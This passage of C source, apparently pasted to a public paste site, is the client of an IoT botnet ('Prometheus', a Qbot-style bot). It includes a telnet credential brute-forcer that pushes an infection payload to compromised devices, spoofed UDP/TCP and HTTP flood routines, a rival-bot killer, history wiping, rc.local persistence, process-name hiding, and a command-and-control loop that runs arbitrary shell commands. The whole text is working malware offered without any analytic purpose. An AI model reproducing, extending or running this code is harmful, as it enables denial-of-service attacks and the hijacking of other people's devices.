  1997. {
  1998. if(read_until_response(fds[i].fd, wait_usec, fds[i].sockbuf, BUFFER_SIZE, advances2))
  1999. {
  2000. fds[i].totalTimeout = time(NULL);
  2001.  
  2002. if(contains_fail(fds[i].sockbuf))
  2003. {
  2004. advance_state(&fds[i], 0);
  2005. }
  2006. else if(contains_success(fds[i].sockbuf))
  2007. {
  2008. if(fds[i].complete == 2)
  2009. {
  2010. advance_state(&fds[i], 7);
  2011. }
  2012. else
  2013. {
  2014. sockprintf(mainCommSock, "LOGIN FOUND - %s:%s:%s", get_telstate_host(&fds[i]), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
  2015. advance_state(&fds[i], 7);
  2016. }
  2017. }
  2018. else
  2019. {
  2020. reset_telstate(&fds[i]);
  2021. }
  2022. continue;
  2023. }
  2024.  
  2025.  
  2026. if(fds[i].totalTimeout + 7 < time(NULL))
  2027. {
  2028. reset_telstate(&fds[i]);
  2029. }
  2030. }
  2031. break;
  2032. case 7:
  2033. {
  2034. fds[i].totalTimeout = time(NULL);
  2035. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) <0);
  2036. if(send(fds[i].fd, "shell\r\n", 7, MSG_NOSIGNAL) < 0);
  2037. if(send(fds[i].fd, infect, strlen(infect), MSG_NOSIGNAL) < 0)
  2038. {
  2039. reset_telstate(&fds[i]);
  2040. continue;
  2041. }
  2042.  
  2043. if(fds[i].totalTimeout + 25 < time(NULL))
  2044. {
  2045. if(fds[i].complete !=3){
  2046. }
  2047. reset_telstate(&fds[i]);
  2048. }
  2049. break;
  2050. }
  2051. }
  2052. }
  2053. }
  2054. }
  2055.  
  2056. void sendSTD(unsigned char *ip, int port, int secs) {
  2057.  
  2058. int iSTD_Sock;
  2059.  
  2060. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  2061.  
  2062. time_t start = time(NULL);
  2063.  
  2064. struct sockaddr_in sin;
  2065.  
  2066. struct hostent *hp;
  2067.  
  2068. hp = gethostbyname(ip);
  2069.  
  2070. bzero((char*) &sin,sizeof(sin));
  2071. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  2072. sin.sin_family = hp->h_addrtype;
  2073. sin.sin_port = port;
  2074.  
  2075. unsigned int a = 0;
  2076.  
  2077. while(1){
  2078. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "lsk", "kek", "smack", "ily", "tyf", "pos", "cunts"};
  2079. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  2080. if (a >= 50)
  2081. {
  2082. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  2083. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  2084. if (time(NULL) >= start + secs)
  2085. {
  2086. close(iSTD_Sock);
  2087. _exit(0);
  2088. }
  2089. a = 0;
  2090. }
  2091. a++;
  2092. }
  2093. }
  2094.  
  2095. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
  2096. {
  2097. struct sockaddr_in dest_addr;
  2098.  
  2099. dest_addr.sin_family = AF_INET;
  2100. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2101. else dest_addr.sin_port = htons(port);
  2102. if(getHost(target, &dest_addr.sin_addr)) return;
  2103. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2104.  
  2105. register unsigned int pollRegister;
  2106. pollRegister = pollinterval;
  2107.  
  2108. if(spoofit == 32)
  2109. {
  2110. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  2111. if(!sockfd)
  2112. {
  2113. sockprintf(mainCommSock, "Failed opening raw socket.");
  2114. return;
  2115. }
  2116.  
  2117. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2118. if(buf == NULL) return;
  2119. memset(buf, 0, packetsize + 1);
  2120. makeRandomStr(buf, packetsize);
  2121.  
  2122. int end = time(NULL) + timeEnd;
  2123. register unsigned int i = 0;
  2124. register unsigned int ii = 0;
  2125. while(1)
  2126. {
  2127. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2128.  
  2129. if(i == pollRegister)
  2130. {
  2131. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2132. if(time(NULL) > end) break;
  2133. i = 0;
  2134. continue;
  2135. }
  2136. i++;
  2137. if(ii == sleepcheck)
  2138. {
  2139. usleep(sleeptime*1000);
  2140. ii = 0;
  2141. continue;
  2142. }
  2143. ii++;
  2144. }
  2145. } else {
  2146. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2147. if(!sockfd)
  2148. {
  2149. sockprintf(mainCommSock, "Failed opening raw socket.");
  2150. return;
  2151. }
  2152.  
  2153. int tmp = 1;
  2154. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2155. {
  2156. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2157. return;
  2158. }
  2159.  
  2160. int counter = 50;
  2161. while(counter--)
  2162. {
  2163. srand(time(NULL) ^ rand_cmwc());
  2164. init_rand(rand());
  2165. }
  2166.  
  2167. in_addr_t netmask;
  2168.  
  2169. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2170. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2171.  
  2172. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2173. struct iphdr *iph = (struct iphdr *)packet;
  2174. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2175.  
  2176. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2177.  
  2178. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2179. udph->source = rand_cmwc();
  2180. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2181. udph->check = 0;
  2182.  
  2183. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2184.  
  2185. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2186.  
  2187. int end = time(NULL) + timeEnd;
  2188. register unsigned int i = 0;
  2189. register unsigned int ii = 0;
  2190. while(1)
  2191. {
  2192. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2193.  
  2194. udph->source = rand_cmwc();
  2195. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2196. iph->id = rand_cmwc();
  2197. iph->saddr = htonl( GetRandomIP(netmask) );
  2198. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2199.  
  2200. if(i == pollRegister)
  2201. {
  2202. if(time(NULL) > end) break;
  2203. i = 0;
  2204. continue;
  2205. }
  2206. i++;
  2207.  
  2208. if(ii == sleepcheck)
  2209. {
  2210. usleep(sleeptime*1000);
  2211. ii = 0;
  2212. continue;
  2213. }
  2214. ii++;
  2215. }
  2216. }
  2217. }
  2218.  
  2219. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2220. {
  2221. register unsigned int pollRegister;
  2222. pollRegister = pollinterval;
  2223.  
  2224. struct sockaddr_in dest_addr;
  2225.  
  2226. dest_addr.sin_family = AF_INET;
  2227. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2228. else dest_addr.sin_port = htons(port);
  2229. if(getHost(target, &dest_addr.sin_addr)) return;
  2230. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2231.  
  2232. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2233. if(!sockfd)
  2234. {
  2235. sockprintf(mainCommSock, "Failed opening raw socket.");
  2236. return;
  2237. }
  2238.  
  2239. int tmp = 1;
  2240. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2241. {
  2242. sockprintf(mainCommSock, "Failed setting raw headers mode.");
  2243. return;
  2244. }
  2245.  
  2246. in_addr_t netmask;
  2247.  
  2248. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2249. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2250.  
  2251. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2252. struct iphdr *iph = (struct iphdr *)packet;
  2253. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2254.  
  2255. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( GetRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2256.  
  2257. tcph->source = rand_cmwc();
  2258. tcph->seq = rand_cmwc();
  2259. tcph->ack_seq = 0;
  2260. tcph->doff = 5;
  2261.  
  2262. if(!strcmp(flags, "all"))
  2263. {
  2264. tcph->syn = 1;
  2265. tcph->rst = 1;
  2266. tcph->fin = 1;
  2267. tcph->ack = 1;
  2268. tcph->psh = 1;
  2269. } else {
  2270. unsigned char *pch = strtok(flags, ",");
  2271. while(pch)
  2272. {
  2273. if(!strcmp(pch, "syn"))
  2274. {
  2275. tcph->syn = 1;
  2276. } else if(!strcmp(pch, "rst"))
  2277. {
  2278. tcph->rst = 1;
  2279. } else if(!strcmp(pch, "fin"))
  2280. {
  2281. tcph->fin = 1;
  2282. } else if(!strcmp(pch, "ack"))
  2283. {
  2284. tcph->ack = 1;
  2285. } else if(!strcmp(pch, "psh"))
  2286. {
  2287. tcph->psh = 1;
  2288. } else {
  2289. sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
  2290. }
  2291. pch = strtok(NULL, ",");
  2292. }
  2293. }
  2294.  
  2295. tcph->window = rand_cmwc();
  2296. tcph->check = 0;
  2297. tcph->urg_ptr = 0;
  2298. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2299. tcph->check = tcpcsum(iph, tcph);
  2300.  
  2301. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2302.  
  2303. int end = time(NULL) + timeEnd;
  2304. register unsigned int i = 0;
  2305. while(1)
  2306. {
  2307. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2308.  
  2309. iph->saddr = htonl( GetRandomIP(netmask) );
  2310. iph->id = rand_cmwc();
  2311. tcph->seq = rand_cmwc();
  2312. tcph->source = rand_cmwc();
  2313. tcph->check = 0;
  2314. tcph->check = tcpcsum(iph, tcph);
  2315. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2316.  
  2317. if(i == pollRegister)
  2318. {
  2319. if(time(NULL) > end) break;
  2320. i = 0;
  2321. continue;
  2322. }
  2323. i++;
  2324. }
  2325. }
  2326.  
  2327. void botkiller(){
  2328. int i;
  2329. while(1){
  2330. for(i = 0; i < 9; i++){
  2331. char command[80];
  2332. sprintf(command, "pkill -9 ");
  2333. strcat(command, knownBots[i]);
  2334. system(command);
  2335. sprintf(command, "pkill -9 \"");
  2336. strcat(command, knownBots[i]);
  2337. strcat(command, "\"");
  2338. system(command);
  2339. }
  2340. sleep(5);
  2341. }
  2342. }
  2343.  
  2344. void ClearHistory()
  2345. {
  2346. system("history -c;history -w");
  2347. system("cd /root;rm -rf .bash_history");
  2348. system("cd /var/tmp; rm -f *");
  2349. }
  2350.  
  2351. // HTTP Flood
  2352. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  2353. const char *useragents[] = {
  2354. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  2355. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  2356. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  2357. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  2358. "Opera/6.04 (Windows XP; U) [en]",
  2359. "Opera/9.99 (X11; U; sk)",
  2360. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  2361. };
  2362.  
  2363. const char *connections[] = {"close", "keep-alive", "accept"};
  2364.  
  2365. int i, timeEnd = time(NULL) + timeFoo;
  2366. char request[512];
  2367.  
  2368. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 7)]);
  2369.  
  2370. for (i = 0; i < power; i++) {
  2371. if (fork()) {
  2372. while (timeEnd > time(NULL)) {
  2373. int socket = socket_connect((char *)host, port);
  2374. if (socket != 0) {
  2375. write(socket, request, strlen(request));
  2376. close(socket);
  2377. }
  2378. }
  2379. _exit(1);
  2380. }
  2381. }
  2382. }
  2383.  
  2384. void processCmd(int argc, unsigned char *argv[])
  2385. {
  2386.  
  2387. if(!strcmp(argv[0], "PING"))
  2388. {
  2389. sockprintf(mainCommSock, "PONG!");
  2390. return;
  2391. }
  2392.  
  2393. if(!strcmp(argv[0], "TABLE"))
  2394. {
  2395. sockprintf(mainCommSock, "%d", getdtablesize());
  2396. return;
  2397. }
  2398.  
  2399. if(!strcmp(argv[0], "SCANNER"))
  2400. {
  2401. if(!strcmp(argv[1], "OFF"))
  2402. {
  2403. if(scanPid == 0) return;
  2404. kill(scanPid, 9);
  2405. sockprintf(mainCommSock, "STOPPING SCANNER");
  2406. scanPid = 0;
  2407. }
  2408. if(!strcmp(argv[1], "ON"))
  2409. {
  2410. if(scanPid != 0) return;
  2411. uint32_t parent;
  2412. parent = fork();
  2413. int threads = 1000;//if you change this it adds more threads to the scanner but will also fuck your bots.
  2414. int timeout = 10;
  2415. if (parent > 0) { scanPid = parent; return;}
  2416. else if(parent == -1) return;
  2417. sockprintf(mainCommSock, "STARTING SCANNER ON -> %s", inet_ntoa(ourIP));
  2418. StartTheLelz(timeout, threads);
  2419. _exit(0);
  2420. }
  2421. }
  2422.  
  2423. if(!strcmp(argv[0], "REMOVER"))
  2424. {
  2425. if(!listFork())
  2426. {
  2427. sockprintf(mainCommSock, "COMMENCING BOT KILL ON -> %s", inet_ntoa(ourIP));
  2428. botkiller();
  2429. _exit(0);
  2430. }
  2431. }
  2432.  
  2433. if(!strcmp(argv[0], "GETPUBLICIP"))
  2434. {
  2435. sockprintf(mainCommSock, "My Public IP: %s", inet_ntoa(ourIP));
  2436. return;
  2437. }
  2438.  
  2439. if(!strcmp(argv[0], "UDP"))
  2440. {
  2441. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65536 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2442. {
  2443. sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)>");
  2444. return;
  2445. }
  2446.  
  2447. unsigned char *ip = argv[1];
  2448. int port = atoi(argv[2]);
  2449. int time = atoi(argv[3]);
  2450. int spoofed = atoi(argv[4]);
  2451. int packetsize = atoi(argv[5]);
  2452. int pollinterval = (argc > 6 ? atoi(argv[6]) : 1000);
  2453. int sleepcheck = (argc > 7 ? atoi(argv[7]) : 1000000);
  2454. int sleeptime = (argc > 8 ? atoi(argv[8]) : 0);
  2455.  
  2456. if(strstr(ip, ",") != NULL)
  2457. {
  2458. unsigned char *hi = strtok(ip, ",");
  2459. while(hi != NULL)
  2460. {
  2461. if(!listFork())
  2462. {
  2463. sendUDP(hi, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2464. _exit(0);
  2465. }
  2466. hi = strtok(NULL, ",");
  2467. }
  2468. } else {
  2469. if (!listFork()){
  2470. sendUDP(ip, port, time, spoofed, packetsize, pollinterval, sleepcheck, sleeptime);
  2471. _exit(0);
  2472. }
  2473. }
  2474. return;
  2475. }
  2476.  
  2477. if(!strcmp(argv[0], "TCP"))
  2478. {
  2479. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2480. {
  2481. sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
  2482. return;
  2483. }
  2484.  
  2485. unsigned char *ip = argv[1];
  2486. int port = atoi(argv[2]);
  2487. int time = atoi(argv[3]);
  2488. int spoofed = atoi(argv[4]);
  2489. unsigned char *flags = argv[5];
  2490.  
  2491. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2492. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2493.  
  2494. if(strstr(ip, ",") != NULL)
  2495. {
  2496. unsigned char *hi = strtok(ip, ",");
  2497. while(hi != NULL)
  2498. {
  2499. if(!listFork())
  2500. {
  2501. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2502. _exit(0);
  2503. }
  2504. hi = strtok(NULL, ",");
  2505. }
  2506. } else {
  2507. if (!listFork()) {
  2508. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2509. _exit(0);
  2510. }
  2511. }
  2512. }
  2513. if (!strcmp((const char *)argv[0], "HTTP")) {
  2514. if (argc < 6)
  2515. {
  2516. return;
  2517. }
  2518.  
  2519. if (strstr((const char *)argv[1], ",") != NULL) {
  2520. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2521. while (hi != NULL) {
  2522. if (!listFork()) {
  2523. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2524. _exit(0);
  2525. }
  2526. hi = (unsigned char *)strtok(NULL, ",");
  2527. }
  2528. } else {
  2529. if (listFork()) {
  2530. return;
  2531. }
  2532. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2533. _exit(0);
  2534. }
  2535. }
  2536.  
  2537. if(!strcmp(argv[0], "STD"))
  2538. {
  2539. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2540. {
  2541. sockprintf(mainCommSock, "STD <target> <port> <time>");
  2542. return;
  2543. }
  2544.  
  2545. unsigned char *ip = argv[1];
  2546. int port = atoi(argv[2]);
  2547. int time = atoi(argv[3]);
  2548.  
  2549. if(strstr(ip, ",") != NULL)
  2550. {
  2551. unsigned char *hi = strtok(ip, ",");
  2552. while(hi != NULL)
  2553. {
  2554. if(!listFork())
  2555. {
  2556. sendSTD(hi, port, time);
  2557. _exit(0);
  2558. }
  2559. hi = strtok(NULL, ",");
  2560. }
  2561. } else {
  2562. if (listFork()) { return; }
  2563.  
  2564. sendSTD(ip, port, time);
  2565. _exit(0);
  2566. }
  2567.  
  2568. }
  2569.  
  2570. if(!strcmp(argv[0], "KILLATTK"))
  2571. {
  2572. int killed = 0;
  2573. unsigned long i;
  2574. for (i = 0; i < numpids; i++) {
  2575. if (pids[i] != 0 && pids[i] != getpid()) {
  2576. kill(pids[i], 9);
  2577. killed++;
  2578. }
  2579. }
  2580.  
  2581. if(killed > 0)
  2582. {
  2583. sockprintf(mainCommSock, "Killed %d.", killed);
  2584. } else {
  2585. sockprintf(mainCommSock, "None Killed.");
  2586. }
  2587. }
  2588.  
  2589. if(!strcmp(argv[0], "LOLNOGTFO"))
  2590. {
  2591. exit(0);
  2592. }
  2593. }
  2594.  
  2595. int initConnection()
  2596. {
  2597. unsigned char server[4096];
  2598. memset(server, 0, 4096);
  2599. if(mainCommSock) { close(mainCommSock); mainCommSock = 0; }
  2600. if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  2601. else currentServer++;
  2602.  
  2603. strcpy(server, PromServer[currentServer]);
  2604. int port = 677;
  2605. if(strchr(server, ':') != NULL)
  2606. {
  2607. port = atoi(strchr(server, ':') + 1);
  2608. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2609. }
  2610.  
  2611. mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  2612.  
  2613. if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  2614.  
  2615. return 0;
  2616. }
  2617.  
  2618. int getOurIP()
  2619. {
  2620. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2621. if(sock == -1) return 0;
  2622.  
  2623. struct sockaddr_in serv;
  2624. memset(&serv, 0, sizeof(serv));
  2625. serv.sin_family = AF_INET;
  2626. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2627. serv.sin_port = htons(53);
  2628.  
  2629. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2630. if(err == -1) return 0;
  2631.  
  2632. struct sockaddr_in name;
  2633. socklen_t namelen = sizeof(name);
  2634. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2635. if(err == -1) return 0;
  2636.  
  2637. ourIP.s_addr = name.sin_addr.s_addr;
  2638.  
  2639. int cmdline = open("/proc/net/route", O_RDONLY);
  2640. char linebuf[4096];
  2641. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2642. {
  2643. if(strstr(linebuf, "\t212.237.8.250\t") != NULL)
  2644. {
  2645. unsigned char *pos = linebuf;
  2646. while(*pos != '\t') pos++;
  2647. *pos = 0;
  2648. break;
  2649. }
  2650. memset(linebuf, 0, 4096);
  2651. }
  2652. close(cmdline);
  2653.  
  2654. if(*linebuf)
  2655. {
  2656. int i;
  2657. struct ifreq ifr;
  2658. strcpy(ifr.ifr_name, linebuf);
  2659. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2660. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2661. }
  2662.  
  2663. close(sock);
  2664. }
  2665.  
  2666. char *getBuild()
  2667. {
  2668. #ifdef MIPS_BUILD
  2669. return "MIPS";
  2670. #elif MIPSEL_BUILD
  2671. return "MIPSEL";
  2672. #elif X86_BUILD
  2673. return "X86";
  2674. #elif ARM_BUILD
  2675. return "ARM";
  2676. #elif PPC_BUILD
  2677. return "POWERPC";
  2678. #else
  2679. return "PROMETHEUS";
  2680. #endif
  2681. }
  2682.  
  2683. int main(int argc, unsigned char *argv[])
  2684. {
  2685. char *mynameis = "";
  2686. if(SERVER_LIST_SIZE <= 0) return 0;
  2687. strncpy(argv[0],"",strlen(argv[0]));
  2688. argv[0] = "";
  2689. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2690. srand(time(NULL) ^ getpid());
  2691. init_rand(time(NULL) ^ getpid());
  2692. pid_t pid1;
  2693. pid_t pid2;
  2694. int status;
  2695. int dupthing = 0;
  2696.  
  2697. char cwd[256],*str;
  2698. FILE *file;
  2699. str="/etc/rc.d/rc.local";
  2700. file=fopen(str,"r");
  2701. if (file == NULL) {
  2702. str="/etc/rc.conf";
  2703. file=fopen(str,"r");
  2704. }
  2705. if (file != NULL) {
  2706. char outfile[256], buf[1024];
  2707. int i=strlen(argv[0]), d=0;
  2708. getcwd(cwd,256);
  2709. if (strcmp(cwd,"/")) {
  2710. while(argv[0][i] != '/') i--;
  2711. sprintf(outfile,"\"%s%s\"\n",cwd,argv[0]+i);
  2712. while(!feof(file)) {
  2713. fgets(buf,1024,file);
  2714. if (!strcasecmp(buf,outfile)) d++;
  2715. }
  2716. if (d == 0) {
  2717. FILE *out;
  2718. fclose(file);
  2719. out=fopen(str,"a");
  2720. if (out != NULL) {
  2721. fputs(outfile,out);
  2722. fclose(out);
  2723. }
  2724. }
  2725. else fclose(file);
  2726. }
  2727. else fclose(file);
  2728. }
  2729.  
  2730. getOurIP();
  2731.  
  2732. if (pid1 = fork()) {
  2733. waitpid(pid1, &status, 0);
  2734. exit(0);
  2735. } else if (!pid1) {
  2736. if (pid2 = fork()) {
  2737. exit(0);
  2738. } else if (!pid2) {
  2739. } else {
  2740. zprintf("fork failed\n");
  2741. }
  2742. } else {
  2743. zprintf("fork failed\n");
  2744. }
  2745.  
  2746. setsid();
  2747. chdir("/");
  2748.  
  2749. signal(SIGPIPE, SIG_IGN);
  2750.  
  2751. while(1)
  2752. {
  2753. if(initConnection()) { sleep(30); continue; }
  2754.  
  2755. sockprintf(mainCommSock, "BUILD %s:%s", getBuild(), inet_ntoa(ourIP));
  2756.  
  2757. char commBuf[4096];
  2758. int got = 0;
  2759. int i = 0;
  2760. while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  2761. {
  2762. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2763. unsigned int *newpids, on;
  2764. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2765. pids[on - 1] = 0;
  2766. numpids--;
  2767. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2768. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2769. free(pids);
  2770. pids = newpids;
  2771. }
  2772.  
  2773. commBuf[got] = 0x00;
  2774.  
  2775. trim(commBuf);
  2776.  
  2777. if(strstr(commBuf, "PING") == commBuf)
  2778. {
  2779. sockprintf(mainCommSock, "PONG");
  2780. continue;
  2781. }
  2782. if(strstr(commBuf, "DUP") == commBuf){
  2783. dupthing++;
  2784. zprintf("PEACE OUT IMMA DUP\n");
  2785. if(dupthing > 20){
  2786. exit(0);
  2787. }
  2788. break;
  2789. }
  2790.  
  2791. unsigned char *message = commBuf;
  2792.  
  2793. if(*message == '!')
  2794. {
  2795. unsigned char *nickMask = message + 1;
  2796. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2797. if(*nickMask == 0x00) continue;
  2798. *(nickMask) = 0x00;
  2799. nickMask = message + 1;
  2800.  
  2801. message = message + strlen(nickMask) + 2;
  2802. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2803.  
  2804. unsigned char *command = message;
  2805. while(*message != ' ' && *message != 0x00) message++;
  2806. *message = 0x00;
  2807. message++;
  2808.  
  2809. unsigned char *tmpcommand = command;
  2810. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2811.  
  2812. if(strcmp(command, "SH") == 0)
  2813. {
  2814. unsigned char buf[1024];
  2815. int command;
  2816. if (listFork()) continue;
  2817. memset(buf, 0, 1024);
  2818. szprintf(buf, "%s 2>&1", message);
  2819. command = fdpopen(buf, "r");
  2820. while(fdgets(buf, 1024, command) != NULL)
  2821. {
  2822. trim(buf);
  2823. sockprintf(mainCommSock, "%s", buf);
  2824. memset(buf, 0, 1024);
  2825. sleep(1);
  2826. }
  2827. fdpclose(command);
  2828. exit(0);
  2829. }
  2830.  
  2831. unsigned char *params[10];
  2832. int paramsCount = 1;
  2833. unsigned char *pch = strtok(message, " ");
  2834. params[0] = command;
  2835.  
  2836. while(pch)
  2837. {
  2838. if(*pch != '\n')
  2839. {
  2840. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2841. memset(params[paramsCount], 0, strlen(pch) + 1);
  2842. strcpy(params[paramsCount], pch);
  2843. paramsCount++;
  2844. }
  2845. pch = strtok(NULL, " ");
  2846. }
  2847.  
  2848. processCmd(paramsCount, params);
  2849.  
  2850. if(paramsCount > 1)
  2851. {
  2852. int q = 1;
  2853. for(q = 1; q < paramsCount; q++)
  2854. {
  2855. free(params[q]);
  2856. }
  2857. }
  2858. }
  2859. }
  2860. }
  2861.  
  2862. return 0;
  2863. printf("client exiting");
  2864. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement